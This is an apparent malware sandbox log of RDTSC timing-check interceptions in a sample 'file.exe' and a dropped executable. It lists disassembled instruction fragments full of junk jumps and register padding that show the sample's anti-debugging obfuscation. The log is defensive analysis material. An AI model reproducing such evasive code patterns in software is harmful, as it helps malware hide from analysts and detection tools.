Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71A96D second address: 71A990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F78C4C75729h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B6D5 second address: 71B6D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B6D9 second address: 71B6E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007F78C4C75716h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B6E9 second address: 71B6ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72242F second address: 722440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F78C4C7571Ch 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C4BC second address: 72C4C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C4C0 second address: 72C4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F78C4C75718h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C4CE second address: 72C4FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B5h 0x00000007 jbe 00007F78C4C759AAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 js 00007F78C4C759A6h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a pushad 0x0000001b popad 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DD6C second address: 72DD76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DD76 second address: 72DD7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DD7C second address: 72DD82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DD82 second address: 72DD88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72DD88 second address: 72DD9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75723h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 732516 second address: 73252C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F78C4C759AFh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 758271 second address: 758292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F78C4C75716h 0x0000000a jmp 00007F78C4C7571Dh 0x0000000f popad 0x00000010 push ebx 0x00000011 jp 00007F78C4C75716h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75775F second address: 757763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757763 second address: 7577A4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push edi 0x0000000a pop edi 0x0000000b jno 00007F78C4C75716h 0x00000011 popad 0x00000012 jmp 00007F78C4C7571Dh 0x00000017 push ecx 0x00000018 jmp 00007F78C4C75724h 0x0000001d jnl 00007F78C4C75716h 0x00000023 pop ecx 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 push esi 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7577A4 second address: 7577AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7577AA second address: 7577BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F78C4C7571Fh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7577BE second address: 7577D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C759B5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7577D7 second address: 7577DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7577DB second address: 7577E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E3B second address: 757E57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C7571Ch 0x00000009 jmp 00007F78C4C7571Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E57 second address: 757E5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E5B second address: 757E77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F78C4C75722h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E77 second address: 757E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 757E7D second address: 757E81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C2F8 second address: 75C31E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jng 00007F78C4C759A8h 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e jg 00007F78C4C759A6h 0x00000014 jmp 00007F78C4C759B0h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DF00 second address: 75DF04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DF04 second address: 75DF14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F78C4C759A6h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75DF14 second address: 75DF1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD02B0 second address: 4DD02C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C759ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD02C0 second address: 4DD02DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F78C4C75723h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD02DE second address: 4DD031A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F78C4C759B8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD031A second address: 4DD031E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD031E second address: 4DD0324 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD03C4 second address: 4DD0451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushfd 0x00000007 jmp 00007F78C4C75725h 0x0000000c jmp 00007F78C4C7571Bh 0x00000011 popfd 0x00000012 pop esi 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov edx, 3967D568h 0x0000001c movsx ebx, cx 0x0000001f popad 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F78C4C75725h 0x0000002a sub ah, FFFFFF86h 0x0000002d jmp 00007F78C4C75721h 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007F78C4C75720h 0x00000039 jmp 00007F78C4C75725h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0486 second address: 4DD04DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F78C4C759B5h 0x0000000c add eax, 05ED1256h 0x00000012 jmp 00007F78C4C759B1h 0x00000017 popfd 0x00000018 popad 0x00000019 add dword ptr [esp], 7BECCA1Bh 0x00000020 jmp 00007F78C4C759AEh 0x00000025 call 00007F79360D94C8h 0x0000002a push 762327D0h 0x0000002f push dword ptr fs:[00000000h] 0x00000036 mov eax, dword ptr [esp+10h] 0x0000003a mov dword ptr [esp+10h], ebp 0x0000003e lea ebp, dword ptr [esp+10h] 0x00000042 sub esp, eax 0x00000044 push ebx 0x00000045 push esi 0x00000046 push edi 0x00000047 mov eax, dword ptr [762C0140h] 0x0000004c xor dword ptr [ebp-04h], eax 0x0000004f xor eax, ebp 0x00000051 push eax 0x00000052 mov dword ptr [ebp-18h], esp 0x00000055 push dword ptr [ebp-08h] 0x00000058 mov eax, dword ptr [ebp-04h] 0x0000005b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000062 mov dword ptr [ebp-08h], eax 0x00000065 lea eax, dword ptr [ebp-10h] 0x00000068 mov dword ptr fs:[00000000h], eax 0x0000006e ret 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04DB second address: 4DD04DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04DF second address: 4DD04E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04E3 second address: 4DD04E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04E9 second address: 4DD04EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04EF second address: 4DD04F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD04F3 second address: 4DD051A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F78C4C759B9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD051A second address: 4DD0538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75721h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0538 second address: 4DD053C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD053C second address: 4DD0542 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0542 second address: 4DD057A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b jmp 00007F78C4C759B0h 0x00000010 mov al, byte ptr [edx] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F78C4C759AAh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD057A second address: 4DD0589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0589 second address: 4DD05B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a pushad 0x0000000b movzx eax, di 0x0000000e mov cx, bx 0x00000011 popad 0x00000012 test al, al 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD05B7 second address: 4DD05BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD05BB second address: 4DD05C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD05C1 second address: 4DD057A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F78C4C756A6h 0x0000000f mov al, byte ptr [edx] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F78C4C7571Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0640 second address: 4DD064D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 dec edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD064D second address: 4DD0665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75724h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0665 second address: 4DD06A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F78C4C759B1h 0x00000008 pop eax 0x00000009 mov edx, 6DA4E614h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 lea ebx, dword ptr [edi+01h] 0x00000014 jmp 00007F78C4C759B3h 0x00000019 mov al, byte ptr [edi+01h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov ebx, 12C6CD86h 0x00000024 push edi 0x00000025 pop eax 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD06A6 second address: 4DD06AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD06AC second address: 4DD06B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD06B0 second address: 4DD06B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD06B4 second address: 4DD073A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 jmp 00007F78C4C759AEh 0x0000000e test al, al 0x00000010 pushad 0x00000011 call 00007F78C4C759AEh 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 mov ch, bl 0x0000001b popad 0x0000001c jne 00007F79360CDD43h 0x00000022 jmp 00007F78C4C759B8h 0x00000027 mov ecx, edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c jmp 00007F78C4C759ADh 0x00000031 pushfd 0x00000032 jmp 00007F78C4C759B0h 0x00000037 jmp 00007F78C4C759B5h 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD073A second address: 4DD0740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0740 second address: 4DD0744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0744 second address: 4DD0764 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F78C4C75721h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0764 second address: 4DD0779 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0779 second address: 4DD082B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75721h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsd 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 pushad 0x00000014 mov dx, si 0x00000017 jmp 00007F78C4C75728h 0x0000001c popad 0x0000001d mov ecx, edx 0x0000001f pushad 0x00000020 mov ax, 85BDh 0x00000024 mov bx, ax 0x00000027 popad 0x00000028 and ecx, 03h 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F78C4C75722h 0x00000032 or ax, 20C8h 0x00000037 jmp 00007F78C4C7571Bh 0x0000003c popfd 0x0000003d movzx eax, dx 0x00000040 popad 0x00000041 rep movsb 0x00000043 jmp 00007F78C4C7571Bh 0x00000048 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004f pushad 0x00000050 mov si, BD4Bh 0x00000054 mov eax, 55A7E327h 0x00000059 popad 0x0000005a mov eax, ebx 0x0000005c jmp 00007F78C4C7571Ah 0x00000061 mov ecx, dword ptr [ebp-10h] 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007F78C4C75727h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD082B second address: 4DD0831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0831 second address: 4DD0835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0835 second address: 4DD0866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], ecx 0x0000000f jmp 00007F78C4C759B7h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov eax, edx 0x0000001a mov bx, EEE2h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0866 second address: 4DD086C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD086C second address: 4DD0870 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0870 second address: 4DD08D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop edi 0x0000000d mov al, DFh 0x0000000f popad 0x00000010 pushfd 0x00000011 jmp 00007F78C4C7571Bh 0x00000016 sub ax, C48Eh 0x0000001b jmp 00007F78C4C75729h 0x00000020 popfd 0x00000021 popad 0x00000022 pop esi 0x00000023 jmp 00007F78C4C7571Eh 0x00000028 pop ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F78C4C75727h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD08D5 second address: 4DD08ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C759B4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD08ED second address: 4DD0486 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C7571Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007F78C4C75726h 0x00000011 retn 0008h 0x00000014 cmp dword ptr [ebp-2Ch], 10h 0x00000018 mov eax, dword ptr [ebp-40h] 0x0000001b jnc 00007F78C4C75715h 0x0000001d push eax 0x0000001e lea edx, dword ptr [ebp-00000590h] 0x00000024 push edx 0x00000025 call esi 0x00000027 push 00000008h 0x00000029 jmp 00007F78C4C7571Eh 0x0000002e push FA3D520Dh 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 mov esi, edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD09D6 second address: 4DD0A31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, 1523h 0x0000000f pushfd 0x00000010 jmp 00007F78C4C759B8h 0x00000015 add ch, 00000068h 0x00000018 jmp 00007F78C4C759ABh 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F78C4C759B4h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A31 second address: 4DD0A43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C7571Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A43 second address: 4DD0A6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F78C4C759B5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A6C second address: 4DD0A72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0A72 second address: 4DD0ABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C759B3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007F78C4C759B6h 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F78C4C759B7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD0ABD second address: 4DD0AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F78C4C75724h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: ACE809 second address: ACE814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F78C4C759A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4BD93 second address: C4BD9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4B1DB second address: C4B1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEGIDAAFIEH.exe	RDTSC instruction interceptor: First address: C4B603 second address: C4B61A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F78C4C75723h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
